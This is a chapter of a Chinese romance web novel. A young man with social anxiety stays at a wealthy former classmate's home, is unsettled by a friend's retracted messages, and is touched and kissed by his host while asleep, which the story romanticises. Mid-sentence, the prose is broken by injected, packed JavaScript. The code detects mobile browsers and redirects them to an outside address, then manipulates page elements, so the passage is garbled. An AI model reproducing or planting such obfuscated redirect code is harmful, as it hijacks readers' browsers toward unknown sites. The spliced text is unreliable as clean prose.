黑色的商务车停在门口，司机从主驾下来，打着伞等候在门口。
林斯年从沙发上起身，言珩握着印有voss字样的矿泉水坐着，似乎走神了。
过了好一会儿，言珩看着林斯年，目光终于有了实质。他薄唇轻启：“今晚要跟我回家住一晚吗？”
“不可以吗？你家那么大，你不会这么小气，不留我住一晚吧？”林斯年说。
“不是。”言珩抿了一下唇，嘴巴有点干，他拧开水瓶又喝了两口。
清凉的水从喉间一路灌进胃里，他刚刚不觉得这水凉，这会儿却觉得凉得舒坦。
冷热总是对比出现。
林斯年看了看门口，面无表情的司机打着伞还在等，裤腿上沾了一些雨水。不忍心让人等太久，林斯年凝眉，觑着言珩。
言珩长手长脚，两只腿分开坐，喝完水不知道在想什么，浑身都舒展开，明明他人还在这里，却给人一种神游天外的感觉。
林斯年于是去抓他手腕：“言珩。”
言珩猛然抽手，林斯年刚碰到他皮肤，就被狠狠甩开。
林斯年一愣，只见言珩收回手，把矿泉水放在一旁的桌子上，整了整衣摆，好整以暇地站起来。
“那我们走吧。”言珩说。
“……”什么毛病？
林斯年跟在言珩后面，小跑了两步跟上，突然想起了什么：“等等，我的书包，我的书包还在那辆车上面呢。”
言珩在门口停下，转过身等待，顺手把钥匙递给旁边的门童：“车后座上有一个红色的书包，帮我取一下。”
门童拿了钥匙，点头，撑着伞出去了。
很快，书包到了林斯年手里，他挎着书包，边上车边检查里面的东西。
上了车林斯年才发现，除了司机，副驾还坐了一个人，是一个头发梳在后面一丝不苟的中年男人。他俩上车，他毫无所觉一样，还在看手里的平板，甚至往下滑了一页。
林斯年愣了愣，看向旁边的言珩。
言珩没跟他解释前面的人是谁，反而关心起了他的书包，盯着他在里面翻找东西的手：“找什么呢找得这么仔细？”
林斯年：“在找明天吃的药。”
“什么药？你生病了？”言珩问。
“不是，是帕罗西汀，每天早上都要吃，突然不吃的话戒断反应很严重。”林斯年说。
“帕罗西汀？”
“嗯。”林斯年并不忌讳提起这个，他拿出药在言珩面前晃了晃，“高三的时候，太焦虑了，我妈也是实在没办法了，只能带着我看医生，后来就一直吃药了。”
“抱歉，我不知道。”言珩抿唇。
“没事。”林斯年笑了笑。
暖气依旧很足，林斯年靠在座椅上，默默听着车内舒缓的钢琴曲，雨点打在玻璃上，发出沉闷的咚咚声，环境更显安谧。
言珩没有再说话，侧脸看向窗外。
林斯年看过去，只能看到对方的后脑勺和凸出来的颈部线条。看着看着，他躺在贴合的靠枕上，把眼睛闭上了。
陷入黑暗的前一秒看到的，似乎是言珩终于转过头，表情沉沉。
十几分钟后，MPV开进地下停车场，司机先下车候着。李由看完平板上的文字，按灭屏幕，并没有转过身，但话却是对后面的人说的。
“小少爷，到家了。”他太久不说中文，说的时候会有一些奇怪的拐音。
言珩从喉咙里挤出一个“嗯”字。
李由：“要把他喊醒吗？”
言珩：“不用。”
回国后，出去谈生意，言珩常坐这辆车，里面有一个小型的衣柜，放了一套备用的正装、一件大衣和一些不同款的小配饰。
言珩拿出黑色的大衣，盖在林斯年身上，从另一边打开车门，抱着他下了车。
李由露出一个意味不明的笑：“我不上去了，等会让司机把我送回去。”
“好。”言珩说，林斯年很轻，他抱起来几乎不怎么用力，这家伙睡得很沉，抱下车都没有醒来，他看了看怀里被大衣挡得严实的人，又看向李由，“为什么没有告诉我他在吃药？”
李由眉头一挑：“SAD而已。”
SAD——Social Anxiety Disorder的简称，中文名叫社交焦虑障碍。在李由看来，他承认这是一个在医学上有定义的心理障碍疾病，但是他个人不认为这个病在实际中有什么需要特殊对待的。
看言珩有些不悦地皱眉，李由耸了耸肩：“他的简历挑出来，我让管家放你书房了。他应聘的岗位可是技术岗，你真想要他当你助理？”
言珩：“怎么？”
李由：“没什么，Z市毕竟是分公司，老爷希望的可不只是让你待在这里。你还记得，把你带回来的时候你答应好了什么吗？”
言珩：“不劳您费心，我记得。”
“那就好。”李由笑了，而后看着被言珩用大衣整个盖住，抱在怀里，只露出凌乱头发的人，“你年轻所以有犯错的资本，但是玩物丧志也是不可取的，你站在这个位置，身上就天然有你该承担的责任。”
“李叔，说完了吗？”言珩说。
“说完了。”李由耸肩，又重新坐回副驾，“真搞不懂你们这一代人，爱来爱去，好fancy啊。”
这个房子已经空置了很久，言珩一个月前从国外回来，在这边过了年，才稍微有点人气。让早已等候在旁边的佣人把要用的东西带上，言珩抱着林斯年上了电梯。
回想起高中，林斯年好像也总是爱睡觉，不爱跟人交流，下课别人都在聊天的时候，他就趴在桌子上补觉，有睡不完的觉似的。
以前，言珩只觉得那是习性，但今天有了点别的猜测。焦虑到已经成了病，那他在外面的时候应该无时无刻都处于紧绷状态，类似于猫科生物的应激，他一直处于这样的应激状态，怪不得长不胖呢，抱起来轻得跟片羽毛似的。
抱了一路，人都没醒来，言珩把林斯年一放到床上，人就醒了。
林斯年揉了揉眼睛，把身上的大衣拨开，环视四周嘟囔说：“我睡着了？”
言珩：“嗯。”
房间很宽敞，有一个很大的落地窗，能看到Z市最出名的景点忘忧津，远远俯瞰，风景秀丽，这会儿还有不少人。隔音很好，从里面听不到外面的一点风吹草动。
身下的床垫厚实，林斯年摸了摸，手掌传来舒服的触感，其实他很喜欢睡软床，但是林婉清觉得睡硬床对腰好，家里都是硬床，包括学校的床垫。
“洗漱完早点睡吧。”言珩说。
“好。”林斯年抓起大衣，“衣服。”
言珩接过衣服，拍了拍他的脑袋，嘱咐了他几句洗漱用品、睡衣以及可能用到的按键在哪里，又说他不用拘谨，随便用，随便看。
林斯年一一点头，应下。
等言珩关好门走了，林斯年才有空认真观察这间卧室。以前他也会幻想豪宅是什么样的，可能空间很大，里面的家具配置很高，房间自带卫生间、衣橱以及吧台什么的，但从来没有这一刻真实。
林斯年左看看右看看，摸摸这里摸摸那里，心里一方面想也不过如此，另一方面想，他什么时候也能买到这种大房子。
洗完澡，他躺在床上，很快就困了。
在彻底睡过去之前，收到了一条消息，手机的叮咚声让他惊了一下，想起自己忘记调静音了。把床头灯打开，林斯年点进微信，是陆绾绾发来的消息。
晚晚：睡了吗，弟弟？
负熵：姐，我还没睡。
晚晚：［图片］
林斯年点开截图，里面是极溯官网上关于新上任的CEO介绍。照片还没有上传，只有很模糊的大概介绍，包括之前跟进过什么项目，取得了什么成就等等。
姓名那一栏写的是，严珩。
林斯年刚看完，显示图片已经被撤回。
晚晚：极溯的总裁居然和言珩的读音一样，你猜他们会不会有什么关系啊？
三十秒过后，同样被撤回。
晚晚：珩是个好字呀，君子如珩，羽衣昱耀，怪不得大家都喜欢用珩来起名。
晚晚撤回了一条消息。
晚晚：你还记得高中的时候，你刚转学来的那会儿，语文老师让大家做活动，让我们每个人不实名地写一段关于班里同学的描写，然后让大家猜测，他描写的那个人是谁。你还记得言珩写的是什么吗？
晚晚撤回了一条消息。
晚晚：那句话，我到现在都记得呢。
晚晚撤回了一条消息。
晚晚：大家都猜那句话是夸我的。我想，那个时候言珩就偷偷暗恋我吧，可惜了，可惜那会儿我一心只想学习，从来没有对他表示过好感。
晚晚撤回了一条消息。
晚晚：现在回想起来，没有谈一段高中校园的恋爱，还挺遗憾的。尤其，那会儿言珩除了家里穷，不喜欢跟人交流，其他地方都优秀，人还长得那么帅。
晚晚撤回了一条消息。
晚晚：弟弟，哎，从校园到职场，可能是人生将要迈入新阶段了，所以总忍不住跟你念叨这些，你不会嫌我烦吧。
晚晚撤回了一条消息。
林斯年握着手机，到最后，里面竟然除了最开始的睡了吗和没睡两句还在，下面什么都没有了。
就好像那些话只是为了给他看。
就好像，他看完了，那些话存活于世的价值就被赋予过了。
就那么看了很久，林斯年恍然回神，他脸色发白把手机关机，扔在一边，脑子里一直盘旋着陆绾绾给他发的话——
“你还记得言珩写的是什么吗？”
怎么会不记得？怎么敢忘？
过了大约几分钟，林斯年摇摇头，强迫自己把纷乱的思绪从脑袋里甩出去，摸上脸颊。他又在无意识地紧咬牙关，放松之后，整个下颌都在隐隐作痛。
睡觉吧，睡着了就什么都不想了。
他在心里对自己说。
林斯年把被子往上拉，仰躺着，两只手紧紧抓住被子的边。
太安静了，他想起以前看过一个论断，人在太安静的、没有回声的地方，很容易精神崩溃。于是他迫切地想制造出一点动静。最起码得证明，诺大的空间里自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374869|200045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己还活着。
“咚咚——”
敲门声打破寂静，林斯年陡然看向门口。
言珩小心翼翼把门推开一条缝，看到床头灯还开着，林斯年正一脸惊恐看着他。说实话，他被林斯年的表情吓到了一瞬，但也只是一瞬间。
林斯年从齿缝里蹦出几个字：“言珩。”
言珩蓦地想起了某种画面——
雨天，一地泥泞，被抛弃的幼猫。
“是我。”他把声音放得更轻了一点。
过了好一会儿，言珩站在门口，没动。
林斯年坐起身，用两只手使劲揉了揉脸，面部肌肉被动放松。
“言珩，你来做什么？”
言珩舔了一下嘴唇，声音干涩：“打雷了，雷声太大，我不敢一个人睡。”
林斯年看了眼窗外：“啊？
“所以，我能跟你一起睡吗？”
如果现在站在门口的是除了言珩以外的任何一个人说，因为外面雷声太大所以请求一起睡，在说完这句话的下一秒，林斯年都会毫不犹豫地把巴掌扇到那人脸上。
他很小的时候就一个人睡了，除了上了大学被强迫住在宿舍，其余时候都有自己独立的房间。哪怕是住宿舍，他都得用厚厚的床帘隔绝处一个绝对安全不被打扰的空间。
然而，站在门口的——
林斯年一眨不眨盯着言珩，对方穿着灰色的棉质睡衣，为保持距离，刻意只开了一点门，走廊的灯透过门缝，言珩的神色被隐藏在阴影下。
“那你……进来吧。”
为什么是言珩的话，他会觉得没关系，林斯年在心里问自己。
是因为这本来就是言珩的房子，言珩睡哪里都合理，还是因为他明白知道言珩讨厌他，又认定了他不喜欢和男生亲密接触，一起睡觉也不过是言珩在恶心他。而他怀着知晓一切的眼睛，只是想看言珩为了恶心他能做到什么程度。之前是亲吻和拥抱、现在是同睡一张床，以后呢。
听了他的话，言珩愣了愣。
林斯年揉了揉眼睛，重新躺回被子里，背对着留出的一大片空间：“不过我睡觉可能会做噩梦，偶尔也会说梦话。”
“没关系。”言珩带上门，轻手轻脚进来。
林斯年感觉身后的床垫凹陷下去，哪怕刻意不去想，他也无法忽视旁边大体积有热量的人。
言珩把床头灯关了。
有沙沙的声音，是言珩在动，他进来的时候是躺平的，也许是转到右边去了，也许是转到左边来了。
一只温热的手掌落在林斯年的肩膀上，安抚地拍了拍，很快撤走。
而后，是言珩的声音：“安心睡吧。”
林斯年于是知道了，他转到了左边。
这一觉林斯年睡得并不踏实，言珩很安静，如果不是知道了有人在旁边，林斯年都不会觉得他们是在共享一张床。
也许是晚上和陆绾绾聊天，林斯年被那些话影响到了，梦里陆陆续续会浮现一些回忆的片段。
有时候是在一节语文课上。
有时候是在家里，有人对他说什么，逐渐变得遥远，卷着纷飞着的白茫茫的东西飞上天际。
一会儿是男声：“你这个人……本来就让人觉得恶心透顶了。”
一会儿是女声：“他喜欢的不是你……他喜欢的是我，你忘了吗？”
他做了梦，睡着了也在乱动，滚来滚去。言珩却一动不敢动，能得到林斯年的允许进房间，对于他来说，已经是幸福从天而降，把他砸得晕乎乎的。更别提要是因为他乱动被赶出去，他得有多悔恨。
窗帘只拉了纱帘，有月光照进来，言珩注视着近在咫尺的人。周围是深蓝色的，林斯年是白色的，像坠在枝头玉兰花透亮的白，他凝着眉，呼吸。所有的事物都像是刚从海里捞起来，湿漉漉的。
言珩屡次握紧拳头，松开，再握紧。最后脑子里有一根弦猛地崩断了。
他将手轻轻放在面前人的脸颊，触感是柔软细腻的，林斯年没醒，他又大胆了一些，大拇指在对方脸上仔细描摹。他想，人为什么不能变成章鱼，触手上长满吸盘，这样他就可以毫无保留地感受到这个人的存在。
只要确保对方的存在，他就安心了。
他真的好喜欢好喜欢好喜欢这个人。
一想到这个，言珩就眼眶发热。
大拇指最后停留的地方是林斯年的唇，竖着贴在唇中间。每个人独一无二的指纹，每个人独一无二的唇纹，之间再没有缝隙。言珩蓦地想起昨天晚上林斯年印在他脸颊的那个吻。
……
林斯年从梦中惊醒，记忆还停留在手机屏幕上越来越大的聊天框，占据了他的整个视野，是陆绾绾给他发的消息——
“……那个时候言珩就偷偷暗恋我吧。”
林斯年的心脏像是被狠狠攥紧，整个人都被那句话打入地狱。他猛地睁开眼，如同溺水之人抓住浮木之后，短暂透出水面，大口呼吸。
意识回笼，林斯年感觉，有什么温暖的东西贴在他的脸上和唇上，而后是一片阴影压了过来。
是言珩隔着手指落在他唇上的一个吻。